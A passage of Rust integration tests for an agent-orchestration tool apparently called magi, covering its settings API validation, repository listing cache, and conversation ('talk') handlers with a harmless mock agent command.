13014 std::fs::write(path.join("magi.toml"), text).unwrap();
13015 for args in [
13016 vec!["init", "-b", "main"],
13017 vec!["add", "magi.toml"],
13018 vec![
13019 "-c",
13020 "user.name=Test",
13021 "-c",
13022 "user.email=test@example.invalid",
13023 "commit",
13024 "-m",
13025 "fixture",
13026 ],
13027 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
13028 vec![
13029 "symbolic-ref",
13030 "refs/remotes/origin/HEAD",
13031 "refs/remotes/origin/main",
13032 ],
13033 ] {
13034 crate::git::git(path, &args).await.unwrap();
13035 }
13036 }
13037
13038 #[tokio::test]
13039 async fn settings_context_handlers_validate_and_save_without_a_socket() {
13040 let (tmp, repo, machine) =
13041 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
13042 let root = tmp.path().join("roots");
13043 let selected = root.join("host/owner/selected");
13044 settings_checkout(
13045 &selected,
13046 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
13047 )
13048 .await;
13049 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
13050 let before = std::fs::read(&machine).unwrap();
13051 let ui = Arc::new(
13052 Ui::new(
13053 Queue::at(tmp.path().join("queue")),
13054 Questions::at(tmp.path().join("questions")),
13055 Talks::at(tmp.path().join("talks")),
13056 tmp.path().join("runs"),
13057 tmp.path().to_path_buf(),
13058 repo.clone(),
13059 )
13060 .with_machine_config(Some(machine.clone())),
13061 );
13062 let query = || {
13063 Query(SettingsQuery {
13064 repo: Some(selected.clone()),
13065 })
13066 };
13067 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
13068 assert!(v.error.is_none(), "{:?}", v.error);
13069 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
13070 assert_eq!(conductor.source, "repo");
13071 assert_eq!(
13072 conductor.machine_value,
13073 Some(toml::Value::String("a".into()))
13074 );
13075 assert!(!conductor.editable);
13076 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
13077 assert_eq!(
13078 judges.count.as_ref().unwrap().machine_value,
13079 Some(toml::Value::Integer(1))
13080 );
13081 assert!(
13082 !v.roles
13083 .iter()
13084 .find(|r| r.key == "reviewers")
13085 .unwrap()
13086 .editable
13087 );
13088 let unknown = || {
13089 Query(SettingsQuery {
13090 repo: Some(tmp.path().to_path_buf()),
13091 })
13092 };
13093 assert_eq!(
13094 settings_get(State(ui.clone()), unknown())
13095 .await
13096 .unwrap_err()
13097 .status,
13098 StatusCode::UNPROCESSABLE_ENTITY
13099 );
13100 let body = || {
13101 Ok(Json(RolesBody {
13102 revision: v.revision.clone(),
13103 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
13104 counts: Default::default(),
13105 }))
13106 };
13107 assert_eq!(
13108 settings_put_roles(State(ui.clone()), unknown(), body())
13109 .await
13110 .unwrap_err()
13111 .status,
13112 StatusCode::UNPROCESSABLE_ENTITY
13113 );
13114 assert_eq!(std::fs::read(&machine).unwrap(), before);
13115 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
13116 .await
13117 .unwrap();
13118 assert_eq!(
13119 saved.repo,
13120 selected.canonicalize().unwrap().display().to_string()
13121 );
13122 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13123 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13124 let fresh = root.join("host/owner/fresh");
13126 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
13127 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
13128 .await
13129 .unwrap();
13130 assert_eq!(fresh_view.repositories.len(), 3);
13131 }
13132
13133 #[tokio::test]
13134 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
13135 let (tmp, repo, machine) = settings_dirs(
13136 "[roles]\nreviewers = [\"a\"]\n",
13137 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
13138 );
13139 let root = tmp.path().join("roots");
13140 let selected = root.join("host/owner/selected");
13141 settings_checkout(
13142 &selected,
13143 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
13144 )
13145 .await;
13146 let broken = root.join("host/owner/broken");
13147 settings_checkout(&broken, "[roles\nbroken").await;
13148 let machine_text = format!(
13149 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
13150 toml::Value::String(root.display().to_string())
13151 );
13152 std::fs::write(&machine, &machine_text).unwrap();
13153 let originals: Vec<_> = [&repo, &selected, &broken]
13154 .iter()
13155 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
13156 .collect();
13157 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13158 let default = f.get("/api/settings").await.json();
13159 assert_eq!(
13160 default["repo"],
13161 repo.canonicalize().unwrap().display().to_string()
13162 );
13163 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
13164 let query = format!("?repo={}", selected.display());
13165 let res = f.get(&format!("/api/settings{query}")).await;
13166 assert_eq!(res.status, 200, "{}", res.body);
13167 let v = res.json();
13168 assert!(v["error"].is_null(), "{v}");
13169 assert_eq!(v["repositories"], default["repositories"]);
13170 let role = |key: &str| {
13171 v["roles"]
13172 .as_array()
13173 .unwrap()
13174 .iter()
13175 .find(|r| r["key"] == key)
13176 .unwrap()
13177 };
13178 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
13179 assert_eq!(role("advisors")["source"], "repo");
13180 assert_eq!(role("advisors")["editable"], false);
13181 assert!(role("advisors")["machine_value"].is_null());
13182 assert_eq!(role("judges")["count"]["value"], 2);
13183 assert_eq!(role("judges")["count"]["machine_value"], 1);
13184 assert_eq!(role("judges")["count"]["source"], "repo");
13185 let source = role("judges")["count"]["source_path"].as_str().unwrap();
13186 assert!(
13187 source.contains("origin/main") && !source.contains("magi/config/"),
13188 "{source}"
13189 );
13190 assert_eq!(
13191 role("reviewers")["editable"],
13192 false,
13193 "default context outside roots must protect its declarations"
13194 );
13195 let body =
13196 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
13197 let unknown = format!("?repo={}", tmp.path().display());
13198 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
13199 assert_eq!(
13200 f.put(&format!("/api/settings/roles{unknown}"), &body)
13201 .await
13202 .status,
13203 422
13204 );
13205 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
13206 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
13207 .to_string();
13208 assert_eq!(
13209 f.put(&format!("/api/settings/roles{query}"), &refuse)
13210 .await
13211 .status,
13212 422
13213 );
13214 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
13215 assert_eq!(saved.status, 200, "{}", saved.body);
13216 assert_eq!(saved.json()["repo"], v["repo"]);
13217 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13218 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13219 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
13220 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
13221 }
13222 let error = f
13223 .get(&format!("/api/settings?repo={}", broken.display()))
13224 .await;
13225 assert_eq!(error.status, 200);
13226 assert!(error.json()["error"]["message"].is_string());
13227 assert_eq!(error.json()["repositories"], default["repositories"]);
13228 }
13229
13230 #[tokio::test]
13231 async fn settings_get_reports_sources_and_the_advisors_fallback() {
13232 let (_tmp, repo, machine) =
13233 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
13234 let f = Fixture::with_repo_and_machine(repo, machine).await;
13235 let res = f.get("/api/settings").await;
13236 assert_eq!(res.status, 200, "{}", res.body);
13237 let v = res.json();
13238 assert!(v["error"].is_null(), "{v}");
13239 let role = |k: &str| {
13240 v["roles"]
13241 .as_array()
13242 .and_then(|r| r.iter().find(|x| x["key"] == k))
13243 .cloned()
13244 .unwrap_or_else(|| panic!("no role {k}: {v}"))
13245 };
13246 assert_eq!(role("judges")["source"], "machine");
13247 assert_eq!(role("judges")["editable"], true);
13248 assert_eq!(role("implementers")["source"], "default");
13249 let adv = role("advisors");
13250 assert_eq!(adv["fallback"], "judges");
13251 assert!(
13252 adv["seats"]
13253 .as_array()
13254 .is_some_and(|s| s.iter().all(|x| x == "b")),
13255 "{adv}"
13256 );
13257 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
13258 assert_eq!(v["agents"][0]["source"], "repo");
13259 }
13260
13261 #[tokio::test]
13262 async fn settings_get_reports_a_config_that_does_not_parse() {
13263 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
13264 let f = Fixture::with_repo_and_machine(repo, machine).await;
13265 let res = f.get("/api/settings").await;
13266 assert_eq!(res.status, 200, "{}", res.body);
13267 let v = res.json();
13268 assert!(v["error"]["message"].is_string(), "{v}");
13269 assert!(
13270 v["error"]["path"]
13271 .as_str()
13272 .is_some_and(|p| p.ends_with("magi.toml")),
13273 "{v}"
13274 );
13275 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
13276 }
13277
13278 #[tokio::test]
13279 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
13280 let (_tmp, repo, machine) = settings_dirs(
13281 SETTINGS_AGENTS,
13282 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
13283 );
13284 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
13285 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13286 let rev = f.get("/api/settings").await.json()["revision"]
13287 .as_str()
13288 .expect("revision")
13289 .to_owned();
13290 let body = serde_json::json!({
13291 "revision": rev,
13292 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
13293 })
13294 .to_string();
13295 let res = f.put("/api/settings/roles", &body).await;
13296 assert_eq!(res.status, 200, "{}", res.body);
13297 let text = std::fs::read_to_string(&machine).expect("machine");
13298 assert_eq!(
13299 text,
13300 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
13301 );
13302 assert_eq!(
13303 std::fs::read(repo.join("magi.toml")).expect("read"),
13304 repo_before
13305 );
13306 let again = f.get("/api/settings").await.json();
13307 let judges = again["roles"]
13308 .as_array()
13309 .expect("roles")
13310 .iter()
13311 .find(|r| r["key"] == "judges")
13312 .expect("judges")
13313 .clone();
13314 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
13315 let stale = f.put("/api/settings/roles", &body).await;
13317 assert_eq!(stale.status, 409, "{}", stale.body);
13318 }
13319
13320 #[tokio::test]
13321 async fn settings_counts_are_reported_and_saved() {
13322 let (_tmp, repo, machine) = settings_dirs(
13323 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
13324 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
13325 );
13326 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13327 let v = f.get("/api/settings").await.json();
13328 let count = |v: &serde_json::Value, k: &str| {
13329 v["roles"]
13330 .as_array()
13331 .and_then(|r| r.iter().find(|x| x["key"] == k))
13332 .map(|x| x["count"].clone())
13333 .unwrap_or_else(|| panic!("no role {k}: {v}"))
13334 };
13335 let imp = count(&v, "implementers");
13336 assert_eq!(imp["value"], 2);
13337 assert_eq!(imp["source"], "machine");
13338 assert_eq!(imp["file_key"], "candidates");
13339 assert_eq!(imp["roster_len"], 2);
13340 assert_eq!(imp["backups"], 0);
13341 assert_eq!(count(&v, "judges")["source"], "default");
13342 assert_eq!(count(&v, "advisors")["min"], 0);
13343 assert_eq!(count(&v, "reviewers")["editable"], false);
13344 assert!(
13345 count(&v, "reviewers")["locked_reason"]
13346 .as_str()
13347 .is_some_and(|m| m.contains("graph.reviewers"))
13348 );
13349 assert!(count(&v, "fixer").is_null());
13350 let rev = v["revision"].as_str().expect("revision").to_owned();
13351 let body = serde_json::json!({
13352 "revision": rev,
13353 "roles": { "judges": ["b"] },
13354 "counts": { "implementers": 1, "advisors": 0 }
13355 })
13356 .to_string();
13357 let res = f.put("/api/settings/roles", &body).await;
13358 assert_eq!(res.status, 200, "{}", res.body);
13359 let text = std::fs::read_to_string(&machine).expect("machine");
13360 assert_eq!(
13361 text,
13362 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
13363 );
13364 let after = f.get("/api/settings").await.json();
13365 assert_eq!(count(&after, "implementers")["value"], 1);
13366 assert_eq!(count(&after, "implementers")["backups"], 1);
13367 assert_eq!(count(&after, "advisors")["value"], 0);
13368 let before = std::fs::read_to_string(&machine).expect("machine");
13369 let rev = after["revision"].as_str().expect("revision").to_owned();
13370 for counts in [
13371 serde_json::json!({ "judges": 0 }),
13372 serde_json::json!({ "judges": "x" }),
13373 serde_json::json!({ "judges": 2.5 }),
13374 serde_json::json!({ "judges": -1 }),
13375 serde_json::json!({ "reviewers": 3 }),
13376 serde_json::json!({ "bogus": 3 }),
13377 ] {
13378 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
13379 let res = f.put("/api/settings/roles", &body).await;
13380 assert_eq!(res.status, 422, "{counts}: {}", res.body);
13381 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
13382 }
13383 }
13384
13385 #[tokio::test]
13386 async fn settings_put_refuses_without_touching_the_file() {
13387 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
13388 let (_tmp, repo, machine) = settings_dirs(
13389 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
13390 Some(machine_text),
13391 );
13392 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13393 let rev = f.get("/api/settings").await.json()["revision"]
13394 .as_str()
13395 .expect("revision")
13396 .to_owned();
13397 for roles in [
13398 serde_json::json!({ "judges": ["nope"] }),
13399 serde_json::json!({ "reviewers": ["b"] }),
13400 serde_json::json!({ "bogus": ["a"] }),
13401 ] {
13402 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13403 let res = f.put("/api/settings/roles", &body).await;
13404 assert_eq!(res.status, 422, "{roles}: {}", res.body);
13405 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13406 assert_eq!(
13407 std::fs::read_to_string(&machine).expect("machine"),
13408 machine_text
13409 );
13410 }
13411 }
13412
13413 #[tokio::test]
13414 async fn repos_list_returns_name_and_path_for_every_configured_root() {
13415 let tmp = TempDir::new().expect("tempdir");
13416 let repo = tmp.path().join("repo");
13417 std::fs::create_dir_all(&repo).expect("repo dir");
13418 let root = tmp.path().join("root");
13419 make_checkout(&root, "github.com", "yukimemi", "magi");
13420 std::fs::write(
13421 repo.join("magi.toml"),
13422 format!(
13423 "[repos]\nroots = [{:?}]\n",
13424 root.to_string_lossy().into_owned()
13425 ),
13426 )
13427 .expect("write magi.toml");
13428
13429 let f = Fixture::with_repo(repo).await;
13430 let res = f.get("/api/repos").await;
13431 assert_eq!(res.status, 200, "{}", res.body);
13432 let list = res.json();
13433 let repos = list.as_array().expect("an array");
13434 assert_eq!(repos.len(), 1);
13435 assert_eq!(repos[0]["name"], "yukimemi/magi");
13436 assert!(
13437 repos[0]["path"]
13438 .as_str()
13439 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13440 "{list}"
13441 );
13442 }
13443
13444 #[tokio::test]
13445 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13446 let tmp = TempDir::new().expect("tempdir");
13447 let repo = tmp.path().join("repo");
13448 std::fs::create_dir_all(&repo).expect("repo dir");
13449 let root = tmp.path().join("root");
13450 make_checkout(&root, "github.com", "yukimemi", "magi");
13451 std::fs::write(
13452 repo.join("magi.toml"),
13453 format!(
13454 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13455 root.to_string_lossy().into_owned()
13456 ),
13457 )
13458 .expect("write magi.toml");
13459
13460 let f = Fixture::with_repo(repo).await;
13461 let first = f.get("/api/repos").await;
13462 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13463
13464 make_checkout(&root, "github.com", "yukimemi", "rvpm");
13467 let second = f.get("/api/repos").await;
13468 assert_eq!(
13469 second.json().as_array().map(Vec::len),
13470 Some(1),
13471 "a fresh cache must not rescan inside the TTL"
13472 );
13473
13474 let refreshed = f.get("/api/repos?refresh=1").await;
13475 assert_eq!(
13476 refreshed.json().as_array().map(Vec::len),
13477 Some(2),
13478 "an explicit refresh must rescan even inside the TTL"
13479 );
13480 }
13481
13482 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13488
13489 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13493 let tmp = TempDir::new().expect("tempdir");
13494 let repo = tmp.path().join("repo");
13495 std::fs::create_dir_all(&repo).expect("repo dir");
13496 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13497 let f = Fixture::with_repo(repo.clone()).await;
13498 (tmp, repo, f)
13499 }
13500
13501 #[tokio::test]
13502 async fn posting_a_talk_with_remembered_choices_is_soft() {
13503 let (_tmp, _repo, f) = talk_fixture().await;
13504
13505 let good = f
13506 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13507 .await;
13508 assert_eq!(good.status, 201, "{}", good.body);
13509 assert_eq!(good.json()["persona"], "rei");
13510
13511 let stale = f
13513 .post(
13514 "/api/talks",
13515 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13516 )
13517 .await;
13518 assert_eq!(stale.status, 201, "{}", stale.body);
13519 let v = stale.json();
13520 assert_eq!(v["implementers"], 1);
13521 assert_ne!(v["persona"], "nobody");
13522 let typed = f
13523 .post(
13524 "/api/talks",
13525 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13526 )
13527 .await;
13528 assert_eq!(typed.status, 201, "{}", typed.body);
13529
13530 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13532 assert!(
13533 !strict.status.to_string().starts_with('2'),
13534 "{}",
13535 strict.body
13536 );
13537 }
13538
13539 #[tokio::test]
13540 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13541 let (_tmp, _repo, f) = talk_fixture().await;
13542
13543 let opened = f.post("/api/talks", None).await;
13546 assert_eq!(opened.status, 201, "{}", opened.body);
13547 let body = opened.json();
13548 assert_eq!(body["status"], "open");
13549 assert_eq!(
13550 body["turns"].as_array().unwrap().len(),
13551 0,
13552 "opening takes no agent turn: there is nothing yet to answer"
13553 );
13554
13555 let also_opened = f.post("/api/talks", Some("{}")).await;
13557 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13558
13559 let listed = f.get("/api/talks").await.json();
13560 assert_eq!(listed.as_array().unwrap().len(), 2);
13561 }
13562
13563 #[tokio::test]
13564 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13565 let tmp = TempDir::new().expect("tempdir");
13566 let repo = tmp.path().join("repo");
13567 std::fs::create_dir_all(&repo).expect("repo dir");
13568 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13569 std::fs::write(
13570 repo.join("magi.toml"),
13571 format!("{MOCK_AGENT_TOML}\n{second}"),
13572 )
13573 .expect("write magi.toml");
13574 let home = TempDir::new().expect("temp home");
13575 let talks = Talks::at(home.path().join("talks"));
13576 let ui = Arc::new(
13577 Ui::new(
13578 Queue::at(home.path().join("queue")),
13579 Questions::at(home.path().join("questions")),
13580 talks.clone(),
13581 home.path().join("runs"),
13582 home.path().to_path_buf(),
13583 repo.clone(),
13584 )
13585 .with_worktrees_root(home.path().join("wt")),
13586 );
13587 let cfg = config_for(&repo).await.expect("discover config");
13588 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13589 let id = talk.id.clone();
13590 let call = |agent: &str| {
13591 talk_agent(
13592 State(Arc::clone(&ui)),
13593 Path(id.clone()),
13594 Json(TalkAgent {
13595 agent: agent.to_owned(),
13596 }),
13597 )
13598 };
13599
13600 let unknown = call("nobody").await.expect_err("unknown agent");
13601 assert_eq!(
13602 unknown.status,
13603 StatusCode::BAD_REQUEST,
13604 "{}",
13605 unknown.message
13606 );
13607
13608 {
13609 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13612 let busy = call("second").await.expect_err("busy talk");
13613 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13614 assert!(
13615 busy.message.contains("a talk turn is running"),
13616 "{}",
13617 busy.message
13618 );
13619 drop(guard);
13620 }
13621 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13622
13623 let Json(view) = call("second").await.expect("switch");
13624 assert_eq!(view.talk.agent, "second");
13625 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13626 let saved = talks.get(&id).expect("reload");
13627 assert_eq!(saved.agent, "second");
13628 assert_eq!(saved.turns.len(), 1);
13629 assert!(!view.thinking);
13630 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13631 for agent in ["mock", "second"] {
13632 let Json(view) = call(agent).await.expect("immediate consecutive change");
13633 assert_eq!(view.talk.agent, agent);
13634 assert!(!view.thinking);
13635 assert!(!ui.is_thinking(&id));
13636 }
13637
13638 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13639 .await
13640 .expect("detail");
13641 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13642 assert_eq!(roster, ["mock", "second"]);
13643
13644 let mut closed = talks.get(&id).expect("reload");
13645 talk::close(&mut closed, &talks).expect("close");
13646 let refused = call("mock").await.expect_err("closed talk");
13647 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13648 assert!(
13649 refused.message.contains("takes no more turns"),
13650 "{}",
13651 refused.message
13652 );
13653 }
13654
13655 #[tokio::test]
13656 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13657 let tmp = TempDir::new().expect("tempdir");
13658 let repo = tmp.path().join("repo");
13659 std::fs::create_dir_all(&repo).expect("repo dir");
13660 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13661 let home = TempDir::new().expect("temp home");
13662 let talks = Talks::at(home.path().join("talks"));
13663 let ui = Arc::new(
13664 Ui::new(
13665 Queue::at(home.path().join("queue")),
13666 Questions::at(home.path().join("questions")),
13667 talks.clone(),
13668 home.path().join("runs"),
13669 home.path().to_path_buf(),
13670 repo.clone(),
13671 )
13672 .with_worktrees_root(home.path().join("wt")),
13673 );
13674 let cfg = config_for(&repo).await.expect("discover config");
13675 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13676 let id = talk.id.clone();
13677 let call = |n: u8| {
13678 talk_implementers(
13679 State(Arc::clone(&ui)),
13680 Path(id.clone()),
13681 Json(TalkImplementers { implementers: n }),
13682 )
13683 };
13684
13685 for bad in [0u8, 4] {
13686 let e = call(bad).await.expect_err("out of range");
13687 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
13688 }
13689 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
13690
13691 {
13692 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13695 let busy = call(2).await.expect_err("busy talk");
13696 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13697 assert!(
13698 busy.message.contains("a talk turn is running"),
13699 "{}",
13700 busy.message
13701 );
13702 drop(guard);
13703 }
13704
13705 let Json(view) = call(3).await.expect("switch");
13706 assert_eq!(view.talk.implementers, 3);
13707 assert!(talks.get(&id).expect("reload").implementers_dirty);
13708 assert!(!view.thinking);
13709 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13710 for n in [1, 2, 3] {
13711 let Json(view) = call(n).await.expect("immediate consecutive change");
13712 assert_eq!(view.talk.implementers, n);
13713 assert!(!view.thinking);
13714 assert!(!ui.is_thinking(&id));
13715 }
13716
13717 let mut closed = talks.get(&id).expect("reload");
13718 talk::close(&mut closed, &talks).expect("close");
13719 let e = call(2).await.expect_err("closed talk");
13720 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
13721 assert!(e.message.contains("takes no more turns"), "{}", e.message);
13722 }
13723
13724 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
13726 let tmp = TempDir::new().expect("tempdir");
13727 let repo = tmp.path().join("repo");
13728 std::fs::create_dir_all(&repo).expect("repo dir");
13729 std::fs::write(
13730 repo.join("magi.toml"),
13731 format!("{MOCK_AGENT_TOML}\n{extra}"),
13732 )
13733 .expect("write magi.toml");
13734 let home = TempDir::new().expect("temp home");
13735 let talks = Talks::at(home.path().join("talks"));
13736 let ui = Arc::new(
13737 Ui::new(
13738 Queue::at(home.path().join("queue")),
13739 Questions::at(home.path().join("questions")),
13740 talks.clone(),
13741 home.path().join("runs"),
13742 home.path().to_path_buf(),
13743 repo.clone(),
13744 )
13745 .with_worktrees_root(home.path().join("wt")),
13746 );
13747 let cfg = config_for(&repo).await.expect("discover config");
13748 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13749 (tmp, home, ui, talk.id, repo)
13750 }
13751
13752 #[tokio::test]
13753 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
13754 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13755 let mut conversation = ui.talks.get(&id).unwrap();
13756 talk::record(
13757 &mut conversation,
13758 &ui.talks,
13759 "# Update on a task you filed\noperator words",
13760 vec![],
13761 )
13762 .unwrap();
13763 conversation.turns[0].sender = None;
13765 conversation.turns[0].messages.clear();
13766 ui.talks.put(&mut conversation).unwrap();
13767 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
13768 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
13769 talk::drain(&mut conversation, &ui.talks).unwrap();
13770 talk::record_reply(
13771 &mut conversation,
13772 &ui.talks,
13773 "about that report",
13774 vec![],
13775 Some(talk::ReplyTarget {
13776 turn: 1,
13777 message: 1,
13778 }),
13779 )
13780 .unwrap();
13781 conversation.turns[2].messages[0]
13782 .reply
13783 .as_mut()
13784 .unwrap()
13785 .sender = None;
13786 conversation.turns.push(talk::Turn {
13787 sender: Some(talk::Sender::Persona),
13788 who: talk::Who::Agent,
13789 body: "magi: actual persona words".into(),
13790 at: Timestamp::now(),
13791 attachments: vec![],
13792 usage: None,
13793 breaks: None,
13794 messages: vec![],
13795 posted_by: None,
13796 });
13797 ui.talks.put(&mut conversation).unwrap();
13798 let view = TalkView::with_config(
13799 ui.talks.get(&id).unwrap(),
13800 false,
13801 None,
13802 &ui.home,
13803 &ui.references,
13804 );
13805 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
13806 assert_eq!(
13807 view.talk.turns[1].messages[0].sender,
13808 Some(talk::Sender::Operator)
13809 );
13810 assert_eq!(
13811 view.talk.turns[1].messages[1].sender,
13812 Some(talk::Sender::Magi)
13813 );
13814 assert_eq!(
13815 view.talk.turns[2].messages[0]
13816 .reply
13817 .as_ref()
13818 .unwrap()
13819 .sender,
13820 Some(talk::Sender::Magi)
13821 );
13822 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
13823 assert_eq!(view.turn_messages_md[0].len(), 1);
13824 assert!(view.turn_messages_md[0][0].is_none());
13825 assert!(view.turn_messages_md[1][0].is_none());
13826 assert!(view.turn_messages_md[1][1].is_some());
13827 }
13828
13829 #[tokio::test]
13830 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
13831 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13832 let mut conversation = ui.talks.get(&id).unwrap();
13833 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
13834 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13835 talk::queue_notice(
13836 &mut conversation,
13837 &ui.talks,
13838 &body,
13839 "watch:123",
13840 &|_| false,
13841 None,
13842 display.clone(),
13843 )
13844 .unwrap();
13845 assert!(
13846 !talk::queue_notice(
13847 &mut conversation,
13848 &ui.talks,
13849 &body,
13850 "watch:123",
13851 &|_| false,
13852 None,
13853 display.clone()
13854 )
13855 .unwrap()
13856 );
13857 let saved = ui.talks.get(&id).unwrap();
13858 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
13859 let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
13860 assert!(
13861 view.talk.turns[0].messages[0].display.is_none(),
13862 "operator copy stays literal"
13863 );
13864 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
13865 assert!(view.turn_messages_md[0][0].is_none());
13866 let queued_md = view.pending_messages_md[0].clone();
13867 assert_eq!(
13868 queued_md,
13869 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
13870 );
13871 talk::drain(&mut conversation, &ui.talks).unwrap();
13872 talk::record_reply(
13873 &mut conversation,
13874 &ui.talks,
13875 "Explain",
13876 vec![],
13877 Some(talk::ReplyTarget {
13878 turn: 1,
13879 message: 0,
13880 }),
13881 )
13882 .unwrap();
13883 let mut saved = ui.talks.get(&id).unwrap();
13884 assert_eq!(saved.turns[1].messages[0].body, body);
13885 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
13886 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
13887 assert!(!reply.excerpt.contains("automatic report"));
13888 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
13891 let view = TalkView::with_config(
